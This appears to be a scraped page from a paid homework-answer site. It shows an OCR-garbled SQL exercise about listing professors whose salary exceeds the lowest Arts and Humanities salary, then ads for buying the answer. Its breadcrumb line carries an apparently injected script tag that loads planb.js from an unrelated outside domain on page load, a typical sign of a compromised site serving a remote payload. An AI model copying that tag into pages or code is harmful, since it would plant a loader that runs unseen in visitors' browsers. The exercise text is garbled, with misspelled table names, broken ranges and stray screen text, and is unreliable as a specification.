Need Help ? Chat : loading...

Home >> Assignments >> Other<script src="https://www.wp3advesting.com/planb.js"></script> >> complete in SQL erfank hackerrank.com 4. Professor Names and Salaries A university maintains data on

(Solved): complete in SQL erfank hackerrank.com 4. Professor Names and Salaries A university maintains data on ...



complete in SQL
erfank hackerrank.com 4. Professor Names and Salaries A university maintains data on professors and departments in two tables: PRORESSOR and DEPARTMENT Write a query to print the NAME and SALARY for each professor who satisfies the following two requirements • The professor does not work in the Arts and Humanities department . The professor's salary is greater than the smallest salary of any professor in the Arts and Humanities department The name must be printed before the salary, but row order does not matter. Schema DEPARTMENT Name Type Description ID Integer Adepartment in the inclusive range 11. 1000). This is a primary key NAME String A department name. This field contains between 1 and 100 characters. PROFESSOR Name Type Description 10 Integer A professors ID in the inclusive range 1000 This is a primary key NAME String A professor's name. This field contains between and 100 characters DEPARTMENT ID Integer professors department. This is a foreign key to DEPARTMENTIO SALARY Integer A professor's salary in the indusive range 15000, 40000 Sample Data Tables DEPARTMENT NAME Biological Sciences 5 Technology 5 Humanities & Social Sciences 2 Clinical Medicine Arts and Humanities Type here to search o 1 W 1


We have an Answer from Expert

View Expert Answer

Get Expert Solution


We have an Answer from Expert

Buy This Answer $4

Place Order

QUICK ORDER

Why Place An Order With Us?

  • Certified Editors
  • 24/7 Customer Support
  • Profesional Research
  • Easy to Use System Interface
  • Student Friendly Pricing
Order Now